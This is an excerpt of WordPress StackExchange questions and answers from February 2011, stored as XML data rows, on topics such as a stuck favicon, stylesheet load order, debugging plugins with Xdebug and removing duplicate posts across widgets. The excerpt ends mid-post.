  <row Id="9472" PostTypeId="1" AcceptedAnswerId="9486" CreationDate="2011-02-16T05:04:39.613" Score="1" ViewCount="232" Body="&lt;p&gt;I have a favicon that is a remnant of a disactivated wordpress theme.  I can't find the favicon file in the theme folder, or the wordpress or server root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added my own reference to a new favicon, but the old one is still displayed.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&amp;lt;link rel=&quot;icon&quot; type=&quot;image/png&quot; href=&quot;&lt;a href=&quot;http://www.steve.doig.com.au/wordpress/wp-content/themes/grid-focus-public-10/images/favicon.ico&quot; rel=&quot;nofollow&quot;&gt;http://www.steve.doig.com.au/wordpress/wp-content/themes/grid-focus-public-10/images/favicon.ico&lt;/a&gt;&quot;&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My site is &lt;a href=&quot;http://www.steve.doig.com.au/wordpress/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Favicon is &lt;img src=&quot;http://www.steve.doig.com.au/wordpress/wp-content/themes/grid-focus-public-10/images/favicon.ico&quot; alt=&quot;New Favicon&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3206" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-16T09:57:19.053" LastActivityDate="2011-02-16T09:57:19.053" Title="Can't delete unwanted favicon" Tags="&lt;server&gt;&lt;settings&gt;&lt;favicon&gt;&lt;webmaster&gt;" AnswerCount="3" CommentCount="4" />
  <row Id="9473" PostTypeId="2" ParentId="9472" CreationDate="2011-02-16T05:14:59.657" Score="0" ViewCount="" Body="&lt;p&gt;I see an 'S' on a white background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are still seeing the old favicon, it maybe your browser cache/history that is storing the image and matching it against the URL/domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try looking on a different browser with an empty cache/history.&lt;/p&gt;&#xA;" OwnerUserId="2511" LastActivityDate="2011-02-16T05:14:59.657" CommentCount="2" />
  <row Id="9474" PostTypeId="2" ParentId="9472" CreationDate="2011-02-16T05:16:16.050" Score="0" ViewCount="" Body="&lt;p&gt;I'm seeing this favicon when entering the site:&#xA;&lt;a href=&quot;http://www.steve.doig.com.au/wordpress/wp-content/themes/grid-focus-public-10/images/favicon.ico&quot; rel=&quot;nofollow&quot;&gt;http://www.steve.doig.com.au/wordpress/wp-content/themes/grid-focus-public-10/images/favicon.ico&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/fEhG0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you hard reloaded the website? Have you cleared the browser cache? Try looking at the site on a different browser.&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-02-16T05:16:16.050" />
  <row Id="9475" PostTypeId="1" AcceptedAnswerId="9478" CreationDate="2011-02-16T07:18:45.787" Score="1" ViewCount="34" Body="&lt;p&gt;I have had a small number of users on my blog whiching to change thier username.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was reading that is in stored in the DB but where is it and how do I change it.&lt;/p&gt;&#xA;" OwnerUserId="2606" LastActivityDate="2011-02-16T07:41:45.517" Title="Changing a username" Tags="&lt;users&gt;" AnswerCount="1" />
  <row Id="9476" PostTypeId="1" AcceptedAnswerId="9491" CreationDate="2011-02-16T07:20:00.047" Score="1" ViewCount="117" Body="&lt;p&gt;I have written a basic &lt;a href=&quot;http://wordpress.org/extend/plugins/bitvolution-image-galleria/&quot; rel=&quot;nofollow&quot;&gt;gallery plugin&lt;/a&gt; that uses &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_style&quot; rel=&quot;nofollow&quot;&gt;wp_enqueue_style&lt;/a&gt; to include a stylesheet on the page. I'd like for the WordPress theme to be able to override the style of the plugin which means I'd like to my plugin to play nice and output the css file &lt;strong&gt;before&lt;/strong&gt; the theme css file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_style&quot; rel=&quot;nofollow&quot;&gt;wp_enqueue_style&lt;/a&gt; has a &lt;code&gt;deps&lt;/code&gt; parameter for exactly this requirement. My question is what value should I use for the &lt;code&gt;deps&lt;/code&gt; parameter if I want to say &quot;I depend on the themes css file&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current plugin code is incorrect because it uses &lt;code&gt;false&lt;/code&gt; for the &lt;code&gt;deps&lt;/code&gt; parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   // Enqueue a CSS style file - see http://codex.wordpress.org/Function_Reference/wp_enqueue_style                                                         &#xA;   wp_enqueue_style('bitvol_galleria_css', BITVOL_GALLERIA_URL . '/bitvolution-image-galleria.css', false, $this-&amp;gt;bitvol_galleria_version, 'all' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24" LastActivityDate="2011-02-18T11:43:46.680" Title="What parameter should I pass to wp_enqueue_style to depend on the themes stylesheet?" Tags="&lt;plugin-development&gt;&lt;plugin-recommendation&gt;&lt;stylesheet&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="9477" PostTypeId="2" ParentId="9403" CreationDate="2011-02-16T07:20:33.477" Score="1" ViewCount="" Body="&lt;p&gt;It is documented as deprecated in Codex, but it doesn't have explicit &lt;code&gt;_deprecated_function()&lt;/code&gt; call in source and is not moved to &lt;code&gt;wp-includes/deprecated.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is clearly case of documentation running ahead of code.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-16T07:20:33.477" CommentCount="3" />
  <row Id="9478" PostTypeId="2" ParentId="9475" CreationDate="2011-02-16T07:41:45.517" Score="2" ViewCount="" Body="&lt;p&gt;You can look at the &lt;code&gt;user_login&lt;/code&gt; column at the &lt;code&gt;wp_users&lt;/code&gt; table. You can edit these values using any database tool (my favorite is PHPMyadmin &lt;a href=&quot;http://www.phpmyadmin.net/home_page/index.php&quot; rel=&quot;nofollow&quot;&gt;http://www.phpmyadmin.net/home_page/index.php&lt;/a&gt;), &lt;/p&gt;&#xA;" OwnerUserId="2630" LastActivityDate="2011-02-16T07:41:45.517" />
  <row Id="9479" PostTypeId="2" ParentId="9414" CreationDate="2011-02-16T07:41:50.853" Score="0" ViewCount="" Body="&lt;p&gt;tanks for answer from my friend , i find it for show slug of my taxonomy &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA; $terms = get_terms('my-taxonomy-name');&#xA; foreach ( $terms as $term ) {&#xA; echo $term-&amp;gt;slug.' ';&#xA; }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &#xA;but it return all term in my taxonomy and i need to return current term in my taxonomy ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i finaly find this and add if for empty terms and works &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php   // Get terms for post&#xA; $terms = get_the_terms( $post-&amp;gt;ID , 'oil' );&#xA; // Loop over each item since it's an array&#xA; if ( $terms != null ){&#xA; foreach( $terms as $term ) {&#xA; // Print the name method from $term which is an OBJECT&#xA; print $term-&amp;gt;slug ;&#xA; // Get rid of the other data stored in the object, since it's not needed&#xA; unset($term);&#xA;} } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-02-16T09:18:45.327" />
  <row Id="9480" PostTypeId="2" ParentId="9464" CreationDate="2011-02-16T07:47:26.597" Score="1" ViewCount="" Body="&lt;p&gt;you can check what post type is calling the 'save_post' action&#xA;try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save() {&#xA;global $post;&#xA;  if (!$post-&amp;gt;post_type = 'video'){&#xA;    $my_child = array(&#xA;                'post_title' =&amp;gt; $this-&amp;gt;_child_type,&#xA;                'post_content' =&amp;gt; &quot;test content&quot;,&#xA;                'post_status' =&amp;gt; 'publish',&#xA;                'post_type' =&amp;gt; &quot;video&quot;,&#xA;                'post_parent'=&amp;gt; 55&#xA;              );&#xA;    $nindex = wp_insert_post($my_child);&#xA;  }&#xA;}&#xA;add_action('save_post', array(&amp;amp;$this, 'save'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-16T07:47:26.597" CommentCount="1" />
  <row Id="9481" PostTypeId="2" ParentId="9420" CreationDate="2011-02-16T07:49:25.667" Score="1" ViewCount="" Body="&lt;p&gt;See the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/fetch_feed&quot; rel=&quot;nofollow&quot;&gt;codex for fetch_feed&lt;/a&gt;, the page has also e example to learn and modify. Alternativ you can use plugins for more paramters, as example see for the plugin RSSImport.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-02-16T07:49:25.667" />
  <row Id="9482" PostTypeId="2" ParentId="9463" CreationDate="2011-02-16T08:17:00.930" Score="1" ViewCount="" Body="&lt;p&gt;If I will be the one building that site, this is what I'll do for the &quot;View Portfolio Pages and Galleries that belong to them&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) I'll create a new page template, say &lt;code&gt;template-portfolio.php&lt;/code&gt; inside your themes directory, that goes something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: Portfolio&#xA;*/&#xA;if(is_user_logged_in() &amp;amp;&amp;amp; current_user_can('manage_options'))  //ensure that it is an admin, as per requirements&#xA;{&#xA;   global $current_user;&#xA;   get_currentuserinfo(); //information shall be stored in $current_user&#xA;   // echo 'User ID: ' . $current_user-&amp;gt;ID . &quot;\n&quot;;&#xA;&#xA;   query_posts(array('Artists' =&amp;gt; $current_user-&amp;gt;display_name));&#xA;&#xA;    //do the loop here.&#xA;&#xA;}&#xA;else&#xA;{&#xA;  wp_redirect(get_bloginfo('url')); //go to home page if not logged in or if not admin&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2.) I would create a Page in wordpress and assign Portfolio as the Page Template&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.) I would view the Page using page preview, and if it works, I'll pat myself in the back ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do a variant of the flow here for your other concerns.&lt;/p&gt;&#xA;" OwnerUserId="2630" LastActivityDate="2011-02-16T08:17:00.930" CommentCount="1" />
  <row Id="9483" PostTypeId="2" ParentId="9411" CreationDate="2011-02-16T08:28:53.417" Score="0" ViewCount="" Body="&lt;p&gt;A quote from that question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;By registering the custom post type (with a &quot;movie&quot; slug), the permalinks are already set up for&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&amp;lt;domain&amp;gt;/movie/action/ &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;...to see all movies in the action genre. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That! That is what &lt;strong&gt;not&lt;/strong&gt; work for me. But that is excacly how I &lt;strong&gt;want&lt;/strong&gt; it to work.&lt;/p&gt;&#xA;" OwnerUserId="3216" LastActivityDate="2011-02-16T08:28:53.417" CommentCount="5" />
  <row Id="9484" PostTypeId="2" ParentId="9463" CreationDate="2011-02-16T08:33:32.623" Score="1" ViewCount="" Body="&lt;p&gt;Short: yes you can do that.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;to be able to see all blog posts&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;the default editor role can manage to see all posts&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;be able to post in the blog &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;again the default editor role can manage to see all posts&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;be able to add new &quot;portfolio galleries&quot; and &quot;portfolio pages&quot; and have them automatically tagged with &gt; the &quot;artist&quot; taxonomy with the same  value as their name (i.e. John Smith).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For that you can use the &lt;code&gt;save_post&lt;/code&gt; hook and automatically add there username as taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;be able to only view portfolio pages and galleries that belong to them&#xA;  (i.e. John Smith will only see &gt; portfolio pages and galleries that are&#xA;   marked with Artist = &quot;John Smith&quot;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;when registering post types you can define &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type#Parameters&quot; rel=&quot;nofollow&quot;&gt;capabilities&lt;/a&gt; for that post type and you need to define edit_others_posts as false, also make sure that your post type supports author.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Finally we would also like to have a&#xA;  couple of &quot;super admins&quot; that will&#xA;  have access to every post on the site.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;the default admin role is your friend in this case.&#xA;basically most of your issues are with &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;Roles and Capabilities&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-16T08:33:32.623" CommentCount="2" />
  <row Id="9485" PostTypeId="1" CreationDate="2011-02-16T09:08:18.960" Score="1" ViewCount="110" Body="&lt;p&gt;My user database is full up with robots. Is there a useful SQL command to delete all the users that either a) have posted a comment marked as spam by Akismet or b) never posted a comment ?&lt;/p&gt;&#xA;" LastActivityDate="2011-02-16T15:33:43.593" Title="How can I delete all users which have never commented / have posted spam comments?" Tags="&lt;spam&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="9486" PostTypeId="2" ParentId="9472" CreationDate="2011-02-16T09:11:49.887" Score="4" ViewCount="" Body="&lt;p&gt;The default favicon location on your server gives a 404:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://www.steve.doig.com.au/favicon.ico&quot; rel=&quot;nofollow&quot;&gt;http://www.steve.doig.com.au/favicon.ico&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your &lt;a href=&quot;http://www.steve.doig.com.au/wordpress/&quot; rel=&quot;nofollow&quot;&gt;blogs homepage&lt;/a&gt; source-code related to linking to another location is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&amp;lt;link rel=&quot;icon&quot; type=&quot;image/png&quot; href=&quot;http://www.steve.doig.com.au/wordpress/wp-content/themes/grid-focus-public-10/images/favicon.ico&quot;&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The file suffix is .ico which normally stands for an Microsoft Icon file. But names are not interesting for that. The &lt;code&gt;type=&quot;image/png&quot;&lt;/code&gt; is correct here, it's a PNG file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your blogs server does return the following mime-type header for that linked favicon:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Content-Type: image/x-icon&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; That information is wrong. The file's mime content type is acutally &lt;code&gt;ìmage/png&lt;/code&gt;. Please reconfigure your server, rename the file to .png or convert the image in that file into the &lt;code&gt;image/x-icon&lt;/code&gt; type (you can choose only one of these three options, the last one is the one I would do).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Suggestions&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use a program that is able to properly save the microsoft ico file-format. Don't use a PNG, use a true ICO.&lt;/li&gt;&#xA;&lt;li&gt;Place your favicon.ico file then into the root of your server.&lt;/li&gt;&#xA;&lt;li&gt;Modify the links' href to the new location.&lt;/li&gt;&#xA;&lt;li&gt;Delete any old favicon.ico files from your server, delete your browsers chache, it's history etc. . Then restart your computer. The old favicon should be gone next time you visit your page on that computer.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You'll find more details in &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9347/how-to-change-the-wordpress-favicon/&quot;&gt;How to change the WordPress favicon?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-16T09:11:49.887" CommentCount="1" />
  <row Id="9487" PostTypeId="2" ParentId="9476" CreationDate="2011-02-16T09:21:20.613" Score="1" ViewCount="" Body="&lt;p&gt;I thought I'd post my workaround which I'm using until I know the answer to the question...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My workaround is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Cut &amp;amp; Paste the CSS code from the plugin, into the theme (i.e. &lt;code&gt;style.css&lt;/code&gt;) and modify it as needed.&lt;/li&gt;&#xA;&lt;li&gt;Tell the theme to block the plugin from outputing a stylesheet by deregistering it in &lt;code&gt;functions.php&lt;/code&gt;:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Code to put in &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_print_styles', 'my_deregister_styles', 100 );&#xA;&#xA;function my_deregister_styles() {&#xA;  wp_deregister_style( 'bitvol_galleria_css' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In some respects, this &lt;em&gt;workaround&lt;/em&gt; could be the better solution? (because the  website performance will be better by minimising the number of CSS resources included in the HEAD section).&lt;/p&gt;&#xA;" OwnerUserId="24" LastActivityDate="2011-02-16T09:21:20.613" />
  <row Id="9488" PostTypeId="1" CreationDate="2011-02-16T09:25:35.753" Score="4" ViewCount="430" Body="&lt;p&gt;I was able to install and setup quite easily NetBeans 6.9.1 and Xdebug on my local environment, based on PHP 5.3.0 (XAMPP).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem now is the following: if I put a breakpoint on Wordpress's index.php or other Wordpress core PHP files, NetBeans correctly stop at desired position. If instead I put a breakpoint on a plugin file, an trigger the code execution NetBeans does not stop there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you known how can be solved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; More info about what I am trying to debug&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugin is called &lt;strong&gt;Vanilla Forums&lt;/strong&gt; and has the following file structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- plugins&#xA;  - vanilla-forums&#xA;    + assets&#xA;    + nbproject&#xA;    + templates&#xA;      admin.php&#xA;      embed.php&#xA;      functions.php&#xA;      hooks.php&#xA;      plugin.php&#xA;      sso.php&#xA;      widgets.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I set the breakpoint inside a function named &lt;code&gt;vf_validate_options&lt;/code&gt; defined in &lt;code&gt;functions.php&lt;/code&gt;. I am sure that this function is executed, but NetBeans does not break there.&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="36" LastEditorDisplayName="" LastEditDate="2011-02-17T09:28:17.837" LastActivityDate="2011-08-20T10:32:37.007" Title="How to debug a plugin with Xdebug?" Tags="&lt;plugin-development&gt;&lt;debug&gt;&lt;xdebug&gt;&lt;netbeans&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="2" />
  <row Id="9489" PostTypeId="1" CreationDate="2011-02-16T09:28:53.223" Score="0" ViewCount="51" Body="&lt;p&gt;I am making a theme that has the main loop in a widget.  Also widgetized is a feature slider and a display of four feature post boxes, each with their own loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I prevent duplicate posts from appearing in my main loop widget when the other feature widgets are also displayed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I have to declare a global variable and assign that variable an array of the posts IDs from the feature widgets I want to exclude from my main loop widget.  Below is the sample code from the three widgets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feature Slider Loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php global $themename_do_not_duplicate;&#xA;$themename_do_not_duplicate = array();&#xA;$arr = array();&#xA;$i=1;&#xA;$width = $instance['ImgWidth'];&#xA;$height = $instance['ImgHeight'];&#xA;$cat_posts = new WP_Query(&quot;showposts=&quot; . $instance[&quot;featuredNum&quot;] . &quot;&amp;amp;cat=&quot; .       $instance[&quot;cat&quot;]);&#xA;while ($cat_posts-&amp;gt;have_posts()) : $cat_posts-&amp;gt;the_post() $themename_do_not_duplicate[] = $posts-&amp;gt;ID;?&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink();?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php&#xA;            $post_title = get_the_title();&#xA;            $thumbnail = get_thumbnail($width,$height,'thumb',$post_title,$post_title);&#xA;            $thumb = $thumbnail[&quot;thumb&quot;];&#xA;            print_thumbnail($thumb, $thumbnail[&quot;use_timthumb&quot;], $post_title, $width, $height, 'thumb'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;div class=&quot;title&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink();?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endwhile; wp_reset_query();   ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A loop from another Feature loop - this widget actually has four loops like the one below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts(&quot;showposts=1&amp;amp;cat=&quot;.get_catId($instance['catOption4']));&#xA;&#xA;              while (have_posts()) : the_post(); $themename_do_not_duplicate[] = $post-&amp;gt;ID;?&amp;gt;&#xA;&#xA;stuff&#xA;        &amp;lt;?php endwhile; wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The main loop widget&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php global $themename_do_not_duplicate;&#xA;&#xA; if ($instance['NoRepeatPost'] == 1)   {$arrgs=array('posts_per_page'=&amp;gt;$instance['postNum'],'post__not_in' =&amp;gt; $themename_do_not_duplicate,'paged'=&amp;gt;$paged,);}  else {$arrgs=array('posts_per_page'=&amp;gt;$instance['postNum'],'paged'=&amp;gt;$paged,);}&#xA;query_posts($arrgs);&#xA;&#xA;if(have_posts()) : while (have_posts()) : the_post();$themename_do_not_duplicate[] = $post-&amp;gt;ID; //begin the loop ?&amp;gt; stuff  &amp;lt;?php endif;wp_reset_query(); //and so ends the loop ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have put the &lt;code&gt;global $themename_do_not_duplicate&lt;/code&gt; in the header.  What do do, oh what to do?&lt;/p&gt;&#xA;" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-16T10:01:59.033" LastActivityDate="2011-02-16T10:07:55.067" Title="Preventing Duplicating Posts from Widgets" Tags="&lt;variables&gt;" AnswerCount="1" />
  <row Id="9490" PostTypeId="1" AcceptedAnswerId="9502" CreationDate="2011-02-16T09:48:22.730" Score="0" ViewCount="238" Body="&lt;p&gt;I am creating a child theme using twentyten as my base. I am looking for a way to remove the features of adding custom header and background without touching &lt;code&gt;functions.php&lt;/code&gt; file in the parent theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;no luck with this :(&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_child_theme_setup() {&#xA;    remove_theme_support('custom-background');&#xA;    remove_theme_support('custom-header');&#xA;}&#xA;&#xA;add_action( 'after_setup_theme', 'my_child_theme_setup' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1555" LastEditorUserId="1555" LastEditorDisplayName="" LastEditDate="2011-02-16T10:17:28.903" LastActivityDate="2011-02-17T11:34:50.750" Title="Removing custom background and header feature in child theme" Tags="&lt;functions&gt;&lt;overridable-functions&gt;&lt;child-theme&gt;" AnswerCount="5" />
  <row Id="9491" PostTypeId="2" ParentId="9476" CreationDate="2011-02-16T10:00:38.083" Score="2" ViewCount="" Body="&lt;p&gt;First issue - you have dependency backwards. Depending on something means loading &lt;strong&gt;after&lt;/strong&gt; dependency, while you want earlier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second issue - theme's stylesheet doesn't actually use enqueue, it is usually codded directly in &lt;code&gt;header.php&lt;/code&gt; file of theme. And since it seems to come before &lt;code&gt;wp_head()&lt;/code&gt; call - you have no hook to ensure your stylesheet is above it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is commonly handled like your &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9476/what-parameter-should-i-pass-to-wp-enqueue-style-to-depend-on-the-themes-styleshe/9487#9487&quot;&gt;workaround&lt;/a&gt; - queued stylesheet with option to disable it by code or option in admin.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="24" LastEditorDisplayName="" LastEditDate="2011-02-18T11:43:46.680" LastActivityDate="2011-02-18T11:43:46.680" />
  <row Id="9492" PostTypeId="2" ParentId="9490" CreationDate="2011-02-16T10:01:45.240" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/remove_theme_support&quot; rel=&quot;nofollow&quot;&gt;remove_theme_support&lt;/a&gt; should do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems custom headers &amp;amp; custom backgrounds have their own functions for this: &lt;a href=&quot;http://codex.wordpress.org/Custom_Headers&quot; rel=&quot;nofollow&quot;&gt;Custom Headers&lt;/a&gt; . I assume the same type of function should be for custom backgrounds, but I can't find it in the reference, searching for it in the files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2 -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;remove_custom_image_header&lt;/code&gt; function is available only from 3.1, according to the codex. I would suggest Rarst's suggestion right now.&lt;/p&gt;&#xA;" OwnerUserId="1695" LastEditorUserId="1695" LastEditorDisplayName="" LastEditDate="2011-02-16T11:20:39.413" LastActivityDate="2011-02-16T11:20:39.413" CommentCount="2" />
  <row Id="9493" PostTypeId="2" ParentId="9489" CreationDate="2011-02-16T10:07:55.067" Score="1" ViewCount="" Body="&lt;p&gt;You should use &lt;code&gt;post__not_in&lt;/code&gt; parameter (see &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Post_.26_Page_Parameters&quot; rel=&quot;nofollow&quot;&gt;Post &amp;amp; Page Parameters&lt;/a&gt; in Codex). Since it takes an array you will also need to switch to array rather than string for passing arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts(array(&#xA;    'showposts' =&amp;gt; 1,&#xA;    'cat' =&amp;gt; get_catId( $instance['catOption4'] ),&#xA;    'post__not_in' =&amp;gt; $themename_do_not_duplicate,&#xA;    ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-16T10:07:55.067" CommentCount="2" />
  <row Id="9495" PostTypeId="1" AcceptedAnswerId="9607" CreationDate="2011-02-16T10:42:41.480" Score="1" ViewCount="243" Body="&lt;p&gt;Is there a plugin or another easy way to get debug versions of the external Javascript libraries? (&quot;External&quot; because they were not written by the WordPress team, not because they come from Google or another CDN).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I define the &lt;code&gt;SCRIPT_DEBUG&lt;/code&gt; constant to &lt;code&gt;true&lt;/code&gt;, I get debug (non-minified) versions of most Javascript files in WordPress. However, some external libraries are still using the minified versions (check &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-includes/script-loader.php#L49&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_default_scripts()&lt;/code&gt;&lt;/a&gt; for the scripts that don't have the &lt;code&gt;$suffix&lt;/code&gt; part in their URL). I am creating a TinyMCE plugin and thus it would be handy to have the full TinyMCE source code when stepping up and down the call stack while debugging. (I know TinyMCE is loaded in an even more special way, but I'm also thinking of the jQuery library, which uses the standard 